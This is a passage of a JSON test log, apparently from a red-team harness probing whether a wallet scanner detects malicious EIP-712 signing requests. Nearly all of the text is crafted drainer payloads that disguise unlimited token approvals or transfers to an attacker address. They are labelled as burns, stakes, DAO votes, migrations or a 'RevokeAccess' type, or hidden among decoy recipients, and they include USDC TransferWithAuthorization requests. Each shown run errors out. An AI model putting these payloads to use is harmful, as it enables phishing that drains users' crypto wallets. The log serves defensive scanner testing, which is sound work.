"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:47:16.923Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:47:26.472Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:47:36.011Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:47:45.557Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:47:55.116Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:48:04.676Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:48:14.224Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:48:23.779Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:48:33.323Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:48:42.885Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:48:52.442Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:49:01.989Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:49:11.543Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:49:21.094Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:49:30.631Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN35-EIP3009-022", "timestamp": "2026-01-31T17:49:40.171Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xa86277cda4f1592aafa052741e8a39c663be3ef0e443ea32bf23d0fdd43376b9\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN35-EIP3009-054", "timestamp": "2026-01-31T17:49:49.723Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x897c4a8f24ed556b7fa091a0169fe065361790a7f8c0b5809652656b14c039eb\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:49:59.271Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:50:08.827Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 